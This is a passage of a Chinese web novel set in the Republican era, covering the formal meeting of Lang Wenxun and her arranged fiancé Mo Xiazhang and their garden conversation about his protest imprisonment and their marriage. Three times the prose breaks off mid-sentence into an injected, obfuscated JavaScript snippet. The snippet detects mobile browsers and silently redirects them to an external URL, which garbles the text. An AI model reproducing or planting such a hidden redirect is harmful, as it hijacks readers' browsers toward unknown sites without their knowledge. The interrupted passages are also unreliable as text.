文薰一见他支起架势,便明白了。当即垂下脑袋,乖巧地往前走了两步。 巧珍眼疾手快,接过旁边丫头拿来的软垫,好生放置在文薰面前。 朗文薰拉着裙摆跪下,恭谨道:“女儿文薰叩父亲,母亲大安。” 朗太太点头微笑,回头望向丈夫,却见其不动声色。 于是文薰便俯身下拜,叩首后道:“女儿出门游学,让二老日夜忧心,女儿不孝。” 说完又是一拜。 她直起腰后再道:“不论文化的东西,时代的新旧,都该对长辈尊、孝、敬、恭。女儿方才乖张无状,自知不妥,请父亲,母亲恕罪。” 三叩首完毕后,朗文薰才起身。 她脱下手套,接过管家递来的茶,给双亲一一奉上。其中礼仪无一有错,这才在朗老爷的示意下后退两步,在旁边坐下。 一直默默跟随的巧珍给文薰拿来手套,顺便奉茶。朗文薰一一接过后点头致谢。 朗老爷喝了女儿奉的茶,语气依旧严肃,“好在你规矩没忘,省得我打你。嘴上说的好听,也得心里真能知道分寸才好。” 朗文薰只觉得奇怪,“爸爸,您又不是老派人物,怎么突然之间把规矩放在嘴边了?” 朗老爷瞟了她一眼,把头一撇,懒得搭理。 朗太太笑了一声,接过话头,“你父亲焦心也是事出有因。” 此话一出,又不得不提到那桩婚事了。文薰一听,顿时没了闹腾的心。她又是极聪明的,立马问道:“妈,莫家规矩很大吗?” 朗太太收敛着说:“比咱们家要再传统些。” 文薰综合着自己这几天的见闻:“我听说,他家有兄弟三人,大哥守着家业,二哥在金陵政府任职?” 朗太太道:“莫家的产业,包括缫丝厂,棉纺厂、纺织厂、绸缎庄、面粉厂、酒厂等在内的十几个工厂已经全部交由大公子怀章接手,家里也由大少奶奶瑞芬在执掌中馈。过两天他们带着霞章登门见礼,你到时候就见到了。他们家的二少爷宜章在金陵政府总理办公室担任机要秘书,二少奶奶琼玉在通讯部任高级参谋,婚礼上也能见到他们。” 文薰听闻,不免拿自家和莫家相比。朗太太不愿女儿多想,开口道:“只是娶新妇和嫁女儿区别不同,外加你父亲舍不得你,才日夜多心。你切莫自怨,咱们家不比任何人家差。” 朗文薰为安双亲的心,露出笑容,“是,女儿也是这样想。” 她往前坐了坐,语气活泼,“托敬贤和思齐那两个鬼精灵,今日与莫公子见了一面,果然是如父亲母亲大人所说的一表人才。” 朗太太见女儿开心,自然开心,只是又有顾虑,“不好这么夸的,不庄重。” 文薰看着母亲愁眉,父亲苦脸,一时竟不知改怎么劝。 朗文薰明白,不论是思齐脱口而出的不要嫁了,还是父亲母亲的焦虑忧恼,都是怕她婚后会过得不好。若是换个年代,她不嫁也就是了——换个年代也不成呀。 这桩婚事本来来的就有缘由。当年朗家确确实实是承了莫家的照顾,后来又有口头亲的约定,现在孩子们的年纪大了,莫家少爷又不是什么丑陋、残缺之人,朗家怎好违约,做那等不信不义之事? 更有一桩,莫家老爷现在危在旦夕,就等着冲喜。虽说现下进入民国,是新社会了,也该破除迷信,可这片土地上百千年形成的习俗,哪是普通人一句话说改就能全改的? 文薰很想告诉父亲,规矩是死的,人是活的,日子也是人过出来的。不论莫家是什么龙潭虎穴,她就不信在新社会了,人还能被旧规矩限制死。她有手有脚,又有一技之长,只要她想,总是能把日子过好的。 朗文薰就是这样一个对生活充满希望,对未来充满向往的年轻人。 朗太太见女儿低下头,只以为她伤心,忙道:“薰儿,你也累了,先去洗漱,换身衣裳,过会儿吃晚饭了。” 文薰忙笑道:“是。” 朗父又开口,“记得去给祖宗们上香,告知他们你回来了。” 文薰默默地把伸出去的脚收回来,恭敬低头,“是。” 朗太太说:“巧珍,你也跟着小姐回去。” “欸。”巧珍答应一声,乖巧讨喜。 文薰抬头瞥了一眼,见父亲低头喝茶,终于是没有吩咐了,才伸手牵了巧珍。 待两个丫头离开,朗太太再开口,话中带了脾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16181124|180973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气,“事到临头,你又没办法改变,平白折腾薰儿做什么?后天莫家人就要进门了,我不许你再在女儿面前说这些。人家都说,高门嫁女,低门娶媳……这都是老传统了,又有什么奇怪的。你瞻前顾后,还不如小辈冷静。” 用手帕擦了擦鼻子,似乎是下定了决心,“也罢,莫家你要真看不上,大不了这女儿就不嫁了。总归这桩人情是你朗家欠下的,也该由你朗家去还。我可以带薰儿回她舅舅家……我们家姑娘大好的人品,不一定非要姓朗的!” 朗老爷被这番话说得急了,再也不敢绷着脸色,“夫人何出此言呐?” “还不是你,摆着脸色给谁看?”朗太太此时已经有了泪光,“知道的是你疼女儿,不知道的,还以为女儿在你眼里不重要呢。” “我怎么会这样想?”朗老爷听得妻子哭泣,连忙起身,拿了自己的帕子给她擦。又劝慰道:“是我的不是,是我多想。莫公子学问好,性格好,能够独自一人在北方求学七八年,必定是个独立,有自己主意,能扛起家的。” 郎太太便因为这句话止了埋怨。 朗老爷安了心,又道:“而莫家又顶好的人家。莫兄和嫂夫人为人正派,莫家兄弟三人关系也好,走的又是从商从政从文的不同路。这般会做打算,只要关照着互相扶持,不愁日后人丁不兴,财富不延……” 他说着,竟有些把自己说服的意思,连语气都怀疑起来,“这么一说,薰儿嫁过去,不一定会难过。前面有长媳撑着,也不用去沾惹家业,能一心治学。哪怕是薰儿需要侍奉公婆,凭咱们和莫家的关系,绝不会受到磋磨。” 朗太太怒了,“他敢!我们家的女儿,可是被他们家求着嫁过去的。” 朗老爷连忙附和,“是是是。我的夫人啊,你可千万别伤心了。” 好一番哄,朗太太终于停了眼泪。 朗老爷总算松了口气,又不由得笑话她,“一把年纪了,还闹着回娘家,不害臊。” 朗太太瞪了他一眼,没好气道:“你一把年纪了,还惹人生气,你才不要脸。” 直叫朗老爷无言。 朗太太擦了擦脸,又自己道:“你说的都没错,可还漏了一条。我听说莫家管儿子也是严格的,想来莫家三少爷不会去做什么求新闹革的危险事。他头顶上又有两个哥哥撑着,无论日后时局如何,薰儿的未来都有着落。” 朗老爷点头:“正是这个道理。” 长辈的话不能不听,再者也是要事。洗去烟尘之后,文薰便带着巧珍,请福伯开了门,进了家里的祠堂。 她恭敬地跪在朗家先祖的牌位前,点了三炷香,双手持握,抬到头顶,“列祖列宗在上,不孝子孙文薰拜上。” 礼敬之后,请香入炉。文薰并未离开,而是再度跪下,大致将自己这几年的求学之路说了。 说完,她抬头找到祖父的牌位,笑道:“请祖父放心,昭时没有一刻忘记祖父的教诲。” “昭时”是文薰出生时,祖父给她取的字。出自《楚辞·九章》中的一句:“惜往日之曾信兮,受命诏以昭时”,有“使时代光明”之意。这么多年,文薰一直记得家人的教养,也记得祖父的期望,更不会忘记自己作为中国儿女的责任。 最后再请祖先们保佑父母身体,文薰方才起身。 从祠堂出来,文薰的腿脚都有些发麻。好在巧珍机灵,及时过来相扶。 到了饭点,去安置莫霞章的思齐和二管家祥叔也回来了。 莫家大公子怀章和大少奶奶瑞芬早两天便在大同会馆落脚,只是他们此行是来走礼的,朗家人作为女方得矜持,特意装作不知道罢。 今日,三公子已赶到,文薰也回了家,两位正主就位,就等着黄家舅家入了朗府,莫家的大哥一家带着弟弟正式登门拜访。 10. 莫家登门 新历7月13号,朗府扫塌迎客。 一大早,朗府门前便放起了鞭炮,府上从仆人到主人都是喜气洋洋。 即将面对自己的人生大事,朗文薰也慎重以待。她今日穿着白色泡泡袖叠起的露肩短袖,下面是一条绸缎制的浅紫色长裙,显得漂亮又端庄。 敬贤今天穿着一身绣着小白花的嫩绿色倒大袖袄裙,梳着半披发,在旁边跟着巧珍忙来忙去,做得一个称职的女伴。 她伴着文薰梳妆时,趁机会对着镜子左照右看道:“姐姐,你说,我去剪个头发好不好?” 文薰回头看她,“怎样剪?” 敬贤把手掌张开,以手化为刃在自己头上比划。先碰额头,“弄个刘海。”再碰耳朵,“然而剪个现在最时兴的齐耳短发。” 想着,又觉得太短了,便把手往下移了移,放在脖子处差不多的位置,“剪到这里。” 文薰想象了一下妹子短发的模样,建议:“你要是舍得,我这里有个推荐。城南有位姓庄的师傅,自我读书起手艺便极好。” 敬贤连忙记下,琢磨着什么时候将这事儿利落地办了。 姐妹二人说话时,朗太太站到了门外。她沉默地观望了一会儿,才开口做招呼,“薰儿。” 文薰忙站回头,起身,“妈。” “姨妈。”敬贤也喊,只是见姨妈盯着姐姐,猜到她或许有话讲,便没凑上去。 朗太太先对敬贤笑了,进来后紧紧拉住文薰的手,提议道:“咱们今天要不换身旗袍?现在的先生们都流行穿长衫,这叫[布衣之尊]。你换身旗袍,或许看着与莫公子更配。” 朗文薰一听便知母亲的思虑,点头答应:“听母亲的。” 朗太太心头安慰。她轻轻拉着女儿走到一旁,开了她的衣柜,和赶过来帮忙的巧珍拿出来一件浅紫色,绣着玉兰花的半袖旗袍。 如今的旗袍是日常服饰,从少到老都能穿。朗太太手里拿的这条虽然是几年前做的,款式放在现在依然不旧,想来当初便是花了功夫。 朗太太举着它,配着镜子照给文薰看,“你穿紫色好看,咱们今天就穿紫色。我记得,这件衣裳还是你出国那年做的,都没穿过。” 这件紫色旗袍的袖口处不像传统的形式勒紧,而是用轻纱做成了蝴蝶袖,层层叠叠的,特别好看。领口处的斜襟盘扣还围了蕾丝花边,整体设计十分新派。 文薰注视着镜子里的自己,也道:“母亲说的是。女儿只赶时髦,忘了自家衣裳的经典。看样子,以后常穿旗袍才好。” 朗太太听闻,眼睛里已经蓄上了泪,“也不是说以后你就不能穿时装了。” 临时建议女儿换衣,何尝不是一个做母亲的焦虑与忧心?她生怕委屈了女儿,口一松,变卦道:“算了,不换了,不过一件衣裳,何苦来……” 朗文薰半拥住母亲,好心态地安抚道:“妈妈,别忧心了,女儿不觉得有什么,女儿明白的。为莫公子考虑,不是为了讨好,全是尽咱们自己的礼数。” 朗太太被她温声哄着,好不容易才克制着停了哭泣。 她实在是舍不得女儿。 10点左右,大管家福伯小跑着从外头进来。没过多久,黄家舅舅、舅妈,带着思齐敬贤一对双胞胎,领着莫家的两位管家和一干仆人在门口等候。 几分钟后,几辆轿车先后开进了小巷。 头一辆车先下来的是媒婆薛妈妈,她今天穿着正红的衣衫,头戴大红牡丹,喜气洋洋。 第二辆车下来的是莫家的大公子莫怀章。他穿着一身浅棕色的四件套西装,戴着无框眼镜,一抬头,也是浓眉大眼。他的皮肤也白,长得和莫霞章很像,只是气质更温润些,更像一个读书人而非商人。 怀章回头,伸手牵下来自己的妻子苏瑞芬。瑞芬穿着一身桃红衬白纹的短袖旗袍,头发挽成发髻梳在脑后,露出饱满的额头,圆脸杏眼,正是雍容大气的长相。她胸前带着一串成色上等的翡翠珠链,耳垂上戴着白玉耳坠,双手配白玉环,举止得体,并不吝啬笑容。 最后一辆车,司机开门后,莫霞章跨步下来。他今天也特意穿了一身白色的四件套西装,系着波点领带,头发沾了发胶全部向后梳了,皮鞋更是被擦的锃光瓦亮。如此穿着,整个人更是仪表堂堂,好一位翩翩人才。 明明大家都应该认识,可今天这种场合,就该媒婆介绍。眼看着父母被媒婆引导着和对方的大哥大嫂寒暄起来,敬贤歪着脑袋,直勾勾地盯着莫霞章看。 作为此行的男主角,面对自己的终身大事,莫霞章不敢溜号。他背着双手站立,严阵以待,很快便发现了敬贤的注视。他直面敬贤的打量,末了,得了小姑娘一笑,像是表扬。 莫霞章怔了怔,不知道自己哪里惹得亲家表妹满意了。 他哪里知道,就是他和莫家大哥的一身衣裳,才让敬贤心里舒坦。不止姐姐为莫霞章考虑换了旗袍,莫霞章这边看着也像是为了姐姐考虑才穿了西装。 这才是有礼貌的正经人家。 说话间,一行人进门,莫家带来的礼物自然有仆人们送入后院。待到进入正厅,面对朗老爷和朗太太,这才叫正式拜见了。 朗文薰今天是娇客,一开始并未出来,直到大家都入座后,朗老爷发话,她才从后面花厅绕出来露面。 朗家小姐出现的一瞬间,媒婆就迎了上去,“哎哟,好标致的小姐。小姐一露面,感觉整间屋子都亮堂了。” 文薰露出浅笑,半抬头,一眼就瞥见不知何时站起身的莫霞章。 莫怀章微微偏头,看见弟弟的举动后,轻声道:“霞章,这就是你文薰姐姐,你合该见个礼才是。” 大哥的声音很沉,有股老先生的味道,不比弟弟的声音来得活力。 莫霞章听话地欠身,礼貌又克制道:“见过朗家姐姐。” 想到火车上的初遇,文薰抿了抿嘴,“霞章弟弟。” 这回,可没再喊出那一声“妹妹”了。 莫霞章或许也是想到了这件事,起身时难得露齿,露出这种明显的笑意。 文薰这才发现,原来他竟是生得一双梨涡,只是他寻常沉默严肃,所以不能经常能见到。 大嫂瑞芬观察着两个年轻人的对视,觉得这桩婚事像是成了八成,便笑着打趣,“听说我们两家以前也是邻居。虽然霞章和朗小姐没有一起长大,凑不成一对青梅竹马,可咱们家是什么关系呢?又不是生人,姐姐弟弟喊着,听着多疏远呀。我看这两个孩子缘分不浅,以后啊,怕有的是相处的时间,不如就叫名字好了。” 瑞芬这话实际上是为两个年轻人破冰,大家都能听出来,是以除了一阵轻笑外,没有人答应,也没有人反驳。 文薰被巧珍扶着,就在莫霞章对面坐下。霞章平视着她,目光坦荡,没有半分躲闪,只是普通地注视。他端坐着,十分礼貌,没有任何冒犯或是轻浮的肢体语言。朗文薰大大方方地回望,见他看自己的衣服,看自己的手,最后看了脚面,活生生把自己看红了脸,转过头去。 在朗文薰眼里,长相不差,还会脸红的莫公子也同一朵花似的。 想到方才这朵花的脸上转瞬即逝的梨涡,更觉得他笑起来简直甜腻极了。 她忍不住笑,想逗莫公子再笑一下。 莫霞章刚才回头,撞见文薰的眼神,又不好意思地低下了头。 二人这般互动落在敬贤眼里,直叫她叹气。 简单说过话,熟络后,就要去花厅用饭了。双胞胎正好落在后面,小声地嘀嘀咕咕。 敬贤首先发表自己的看法:“我看姐姐像是没救了。” 思齐还在想着待会儿怎么招待莫霞章,一听这句话,魂都升起来了一半,“怎么了?” 敬贤道:“一个陷入爱情的女人,她会变得盲目的。” 思齐皱眉,“姐姐哪里陷入爱情了?” 敬贤怀疑地看了他一眼,“她分明对莫公子很满意,一直在盯着他看,你没注意?” 她心里其实稀奇得很,这世上,相亲也能相到喜欢的类型吗? 确实没注意的思齐一时说不出话来。 “这才见了两面呢,唉,”不过敬贤又忧虑,生怕莫霞章是个中看不中用的,“思齐,男人也能成祸水吗?” 思齐觉得这句话太伤男子气概,结巴道:“姐姐哪里是只会看外表的人?” 敬贤掰着手指头算给他听,像是在说服自己,“可莫三公子不止有外表,还有家世,才学,据说未被了解的品行也不错。你觉得这算不算良配?” 思齐答不出来,只能哀叹一声。 这般男子,换做他是女儿身,也是愿意嫁的。 中午这餐饭在双方都客气的情况下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16181125|180973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宾主尽欢。中午时,下了半小时雨,洗尽暑气。待到吃了茶,媒婆笑着提议:“我们家莫三公子啊,平日里除了对书感兴趣外,还喜欢看园子。贵府的园子修得真是好,能不能烦请小姐带公子去转转?” 于是,朗文薰和莫霞章便得到了婚前的第一次正式相处。 一个紧紧攥着手帕,一个把手背在身后,这样的两个人走在园子里,时不时遇到过路的下人打招呼,都显得局促。 朗家的宅子是苏式园林的建法,讲究一步一景,移步换景。文薰低头摇着扇子,驻足回头,礼貌询问:“三公子想看花,还是见影?” 霞章此时愿意让自己成为一个门外汉:“二者有什么区别吗?” 文薰回道:“如今正是夏天,园子里花开得少,只有植被枝繁叶茂。若要看影,可往凉亭游廊去;若要看花,就只能去后院赏那连连荷田了。” 霞章沉吟片刻,想到影为虚幻之物,总归不美。便提议道:“那就去看花吧。天公作美,刚下了一场好雨,雨后荷花,正是为有缘人而开。” 文薰听他说话斯文有礼,声音又好听,不由得露出笑意,连转身带路的步子都轻快了许多。 既然打开了话头,继续聊起来便方便多了。 “闲话说来,有件事想要向公子打听一二。” “姐姐请讲。” “那日在车上,你是不是有帮助那位学生藏身?” “姐姐慧眼如炬,正是。” “我虽然刚回国,可对张芝俨的所作所为也是极度不耻的。” 霞章跟在她身后,视线不敢乱看,只盯着她的侧脸,注意着她的表情。听她对自己做的事认可,心里更是开心。 “是。那天仓促,还没感谢姐姐帮忙。” “那算什么?我当时喷香水,不过随意之举,并没有想被夸奖或是感谢的想法。我想,你出手相助,也不是单纯为了人家一句谢谢吧?” “正是如此。”文薰这话说得极好,落在耳中,令霞章不禁有感而发:“工人们所求,不过是他们应得的权益。无论是游行也好,罢工也罢,都是在用正常的手法维权,偏偏此举落在政府人眼中,成了不知足和无理取闹。张芝俨一介老不修,蹉跎半生,没闯出什么名声,临到老,竟连唯一的脸面也弃之不用。摇身一转悠,非但给自己镶了条狗腿,还巴不得张扬旗鼓,让天下人都知道。” 文薰第一次见识到莫霞章的言语功夫,回头瞟了一眼,恰巧将他的一脸正气收入眼底。为了不被误会,她继续问:“那个学生又是怎么回事?” 霞章顿了顿,条理清晰地将前因后果和盘托出:“那位学生姓金,父亲正是吴州市纺织厂的工人。他的父亲因带头游行,半个月前被警察局抓去了,关到现在还不放人,也不许家人探望。金同学眼见着金陵政府要借张芝俨之口,将工人游行的事定下罪名,一时心急,冲动行事。他当时逃到车上,正好被我撞见……应贵拗不过我,只能帮着遮掩。” 遮掩的过程,就如文薰之前猜测的偷梁换柱了。 “不知金同学现在何处?” “他跟着我下了车,当天晚上便被我安排到家里去了,如今已经到了金陵医院。” “他确实中了枪伤?” “是,子弹没有伤重要害,且已安全取出,请姐姐放心。” “可是送他去金陵,不等同于羊入虎口吗?” “家里人会安排好的。” 踏上通往荷塘的走廊,周围有树有水,又有过堂风,吹在人身上尤为舒服。 文薰放慢脚步,仍是认为不妥,“三公子,我听说贵府的二公子家在政府工作。这件事,可会……” 莫霞章低下了头,自嘲地笑道:“没有关系,他们都已经习惯了。” 缘何习惯? 她还没有把话问出来,莫霞章便停下来主动道:“朗姐姐,我有话要和你讲。” 文薰闻言回头,见他眸中一片清明,眼底里印出的,只有干干净净的自己。 他郑重非常道:“我认为,两个人的交往在于真诚。和所谓婚约无关,我本心很愿意结这桩亲事,可我也不忍瞒你。实话跟您说,我父亲或许生了病,可他的病早就好了。他闹得声势浩大,只为了逼我结婚。姐姐要怪就怪我吧,你们家完全是被我牵累了。” 文薰心里一惊,一时愕然。 11. 互诉衷肠 眼见着到了荷塘,水池子里盛开的荷花却被一阵突如其来的妖风吹得东倒西斜,像极了莫霞章说出的这句话。 文薰忍不住微蹙起眉头,一时间只觉得受到了戏耍,心里难受得紧,“这又是为什么?” 难不成她原本有些期盼的的婚姻竟是一场儿戏,是无妄之灾? 莫霞章见她薄怒,面露急色,语速也加快了两分,“还请姐姐耐心听我解释。” 文薰抓着扇子,想到这些天家人的焦心烦忧,气得转身,别过了头,一时眼泪都在眼睛里打转。 莫霞章挪动步子追过来,“姐姐或许没听说过,前年末,我在北平附属中学教书。时遇东北事发,我领着学生游行抗议,被抓起来关了四个多月。” 文薰一听便是又惊又吓,“怎么会被关了那么久?莫家人呢,他们不管你吗?” 莫霞章说:“家中很快找到法子相救,是我不愿意出去。国难当头,我怎可做逃兵?况且学生们都在受苦,我这个老师却先走了……于师德、于私德都是说不过去的。” 他直视着文薰,眼中只有愁闷和真诚,“我亦从未将游行抗议当成过儿戏。家国陷于倾颓之间,我又是个手无缚鸡之力的读书人,只能将胸腔中的愤懑和性命许国了。北边政府行事不比南边清明,天下的乌鸦一般黑,当官掌权的更是一群糊涂蛋。咱们若是不闹起来,由着他们,忍着他们,说不定到了明面上,还要被那群混蛋说是咱们国人胸中无热血,是咱们这群老百姓无药可救,主动要做亡国奴!” 文薰听他说得慷慨激昂,心中也感受到那份惊心动魄,一时很多来自于报纸上的只言片语在脑海中如走马灯般运动起来。 “当时那个情况,不知道姐姐在国外有没有听说,现在回想起来,简直像是在梦里。整个北平乱成一团,到处都是枪炮声。百姓吓得不敢出门,也不知道哪一天闯进门的是洋人,还是中国人。为了维护治安,抓了好些人,死了好些人。工人,学生、先生们的尸体堆在一块儿,满地都是鲜血。男女老少,分不清谁是谁。这样的国家,有何可救;这样的国家,又为何不救!” 他哽咽一声,声音里带着破釜沉舟的狠,“我当时就想,哪怕是死在暗无天日的监牢里,我也算是死得其所了。咱们的大好河山若是哪一天让外人占了,我还不如在国破之前,化成一捧白灰,交融进土里,反而落得干净!” 随着他的话音落下,文薰也泪湿了巾帕。 莫霞章以为是自己惹她生气,更加慌了手脚,“姐姐,姐姐还怪我吗?” 文薰摇头,哽咽一声,陈情道:“我当时身在英国,事发三天后才从报纸上看到新闻。东北的事令我震恸,当时便想办法发电报回家,想回来报国。可父亲训斥我,说国何以弱,唯国民不坚!还让我不要多管……” 说完又忍不住痛苦,和霞章互望垂泪。 这般场面着实滑稽,却没人能笑出来。霞章为国民哭,文薰何尝不是?而莫霞章做了她想做的事,她怎会怪他。 好一会儿,等两个人都冷静了,文薰问起后来,莫霞章才红着眼睛继续说下去: “事了后,我和学生们被一同放出,才得归家。这之后父母便不让我独自呆在北方了。家父去年托了郑鸿基先生,将我聘进了临安大学。姐姐知道我幼时身体不好,是父母一直精心养着。自去了北方之后,更是劳心挂念……此事,是我不孝。被关进去的时节刚好是冬天,在那个青砖堆起的石头盒子里,显些把我冻死。可我也幸运,有一群兄弟姊妹般的学生照顾。只是生活不好,我出来后一副人模鬼样,父母被吓得惊惧不安,差点以为要白发人送黑发人。” 他说完自嘲一笑,却见豁达。他回头对文薰道:“父母催我结婚,是想我组建了家庭,有了牵挂,少行糊涂事。他们所作所为,都皆于一片爱护之心,希望姐姐能够谅解。” 文薰点头,用帕子沾着眼泪,那点子怒气早就烟消云散了。 莫霞章看她神色放松,心里高兴,却还是握着拳慎重道:“本来这番坦白不该迟到今日才说,可我不知道姐姐家的地址和电话,无从打探。我被当作女孩养到十四岁,父母从未提前告知过这桩亲事。上次在火车上我就想找机会解释,可父母遣了应贵来看着我,不让我说。我知道姐姐是留过洋的人,一定……” 结合现实,又觉得这种判断太果断,他紧急换了个词,“或许崇尚婚姻自由。姐姐若对这桩婚事有什么看法,或者……或者本就不愿,可以和我说。我一定会想一个妥帖的办法解除婚约,不会伤到姐姐和朗家的名声。” 文薰本来高高提起的心又低低放下,“三公子,你是一个坦诚的人,谢谢你告诉我这些。” 莫霞章只觉得自己没理,不敢抬头。 文薰思前想后,开口询问:“三公子心中可有心仪的女子?” 现在愕然地轮到他了。愣了一阵,霞章又抬起头,呆呆地,“我想,我应该是喜欢姐姐这样的。” 这样的大方,这样的明媚。无论是初遇的惊鸿一瞥,还是之后文薰明明不知经过,却仗义相帮的好心肠,都值得令人心动。 况且,他还记得小时候的文薰姐姐是如何温柔。 莫霞章又想,哪怕没有火车上的那件事,只要他能够有机会了解到朗文薰的心,都是会喜欢她的。 他喜欢美丽善良的女子,朗文薰是;他喜欢狭义心肠的女子,朗文薰也是;他喜欢有知识,向往进步的女子,朗文薰更是。像朗小姐这样的女孩子,本来就值得人喜欢,多他一个莫某人,似乎也没有哪里奇怪。 本来的包办婚姻,如今却像天作之合……一时间他自己都有些怀疑自己了。 文薰不知莫公子心中所想,只被他的直言惹得双颊绯红。她背过身去,趁机掩盖女儿家的情丝,“承蒙公子厚爱。说句……不知羞的话,这桩婚事我并没有哪里不愿。” 在文薰以往的设想中,与她相携一生的人最好是一位有学问,且接受过先进教育的谦谦君子。他可以长得不出众,但肤色一定要白;他可以不善言辞,但一定要有文采;他不必有多好的家世,但一定要有心怀家国的志向;他可以不具备其他优点,但一定要善良正直…… 这些幻想,在她见到莫霞章的时候,发现竟都被实现。 她确定下自己的心意,回头笑着道:“先前或许是为了公子的样貌,如今却是为了公子的人品。我以为公子和我像是一样的人。这世上最难求不是夫妻,而是知己。此生,若能得一志同道合的佳友为伴,夫复何求?” 朗文薰想,这世上向男士告白的女士并非没有,如今她做出来这种事,只出于一个情字,任何人都没资格批评。 连当事人莫霞章都只脸红,没说什么话。 他反而跟迷糊了一样,愣愣地轻声询问:“姐姐也参与过游行吗?” 文薰点头,“高中时跟着同学偷偷去过。” 她张嘴又停,没把自己当时还写了文章的事说出。 莫霞章便笑了,心里更觉得他们是天生一对。 如今日头明亮,天气也热,虽说下了场雨,可刚才二人又是哭又是笑,又是大声说话的,废了不少力气。文薰见霞章穿得厚实,提议道:“这里有些热了,我带你去前边的水榭吧。” “好。” 莫霞章没纠缠到了荷塘不看花的问题。有文薰在眼前,看不看花又有什么重要的? 有了刚才的良好开始,二人一路竟是无话不谈了。 “我一回国便在报纸上看到了你的文章,潆丝女士是你不是?” “是,让姐姐见笑了。” “确实博我一笑。只是不知那位朴公做了什么,引得潆丝女士嘲弄?” “他……都是些关乎男女之情的荒唐事,说了怕脏了姐姐的耳朵。” “你说嘛,是非我自有分辨。我才回国,很多事不了解,若有人能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16181126|180973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说与我听,再好不过。” 莫霞章便道:“朴公也是位报上的常客了,他很爱在报纸上发表求爱的酸诗。今天是甲小姐,明天是乙小姐,这些小姐都是风华正茂的女学生,偏偏被他报上大名登上报纸去品头论足。我气他为人没有师表,举止浪荡不知尊重,所以骂了两句。” “这等轻浮行为确实该骂。”文薰听得也想一起骂。 拨开柳条,二人进入水榭,总算凉快了些。 “其实对于我们的这桩婚事,家中的长辈和弟妹心中都没底气。他们忧心忡忡,我却觉得奇怪。说句冒犯的话,我是不觉得寒舍有哪里比不上贵府,我又有哪里配不上公子。我一直在想,都包办婚姻了,还有什么好值得担心的?若我是自由恋爱,难道他们便放心了?” 霞章低头跟随着倾听,又给出有道理的回复:“我想,他们担心的就是姐姐结婚这件事本身,姐姐不管跟谁结婚他们都会担心的。他们把姐姐放在心上,自然不想姐姐过得不好。” 文薰摇着扇子,思考起来。 “男女之情,在我看来是十分美好的。而婚姻,又是爱情的最终归宿。只是因为一份内心的悸动,便让两个素不相识的人走到一起,或许包容,或许磨合,或许他们又互相忍受不了对方而最终分开……我想,不论结果如何,一开始的过程总归是好的。” 霞章也予以认同,“真诚的心酿造出来的情感,都是动人的。” 文薰抬眼看他,“你这么一说,无论爱情还是亲情,都可以美好。” 霞章并不否认,“是的,在我看来,情之一字,无关风月,本来就很美好。” 文薰的思绪往前半生盖去,她想,她可真是幸福,因为她有很爱自己的家人。 进入水榭,有风袭来。虽解不了暑,好在是让人身上舒服了些。文薰靠着栏杆坐下,轻摇扇子,沉默片刻后对守在她身前的莫霞章主动道:“三公子,咱们做个君子之交吧。” “姐姐请说。” 文薰慢条斯理,语气平静道:“盼只盼,你我成为夫妻后,能坦诚相待,同心同德,互相扶持。若实在没有一起生活的缘分,离了婚,各别两宽,再见也是朋友。你觉得如何?” 这句话认真听在耳里,莫霞章已然感觉到,面前这位小姐对婚姻关系的看法是极先进的。 他不禁反思。 不论是自由恋爱,还是包办婚姻,在东亚国家中,两个年轻人结婚不仅是他们自己事,还有涵盖背后的家族。要想结婚,不仅要想清楚自己能否接受对方的性格、爱好、品行,还有对方的出身,以及家庭成员,加有父母从小给予的教养。 世上没有相同的两片叶子,就算再契合的灵魂也会有区别。每个人都会有优点,每个人也会有缺点。他现在看朗文薰哪里都好,是因为他还不太了解她。朗文薰看他哪里都好,是因为他们才刚认识,他在努力向她展示最好的自己。婚姻应该是落地的关系,是会持续几十年的一种生活,而这种展示却不能一直维持。 莫霞章最后又慎重思考了一遍——关于他是否能接受往后余生中要负担起的一个小家庭的责任。 一切想法都在心里落定,他才带着底气和诚意道:“是,霞章自当尊重姐姐。” 这不是答应她可以分手离婚,而是他在向自己做保证,绝对不会让这种事情发生。 这是莫霞章暗中给自己的警示,他并不想直白地说出,显得轻浮。是以文薰也没听出背后真意。她只隐隐有些后悔:“是我不好,这么大的日子,说些丧气话。” 既然结婚,定是奔着长长久久去的,偏偏她在紧要关头泼冷水。 莫霞章笑着安抚她:“没关系,我向来是猜不惯人心的。有话直说,这很好。” 他们现在还在互相了解,若这个时候做不到有话就说,以后怎么办呢? 他笑得很斯文,嘴角仿佛荡开的涟漪,让文薰又看到了他面颊的梨涡。 12. 青年人的心事 朗文薰和莫霞章客客气气地出去,又客客气气地回来。 眼看二人之间的氛围没有变得亲密半点,两方的家人们却是多了几分忧心。 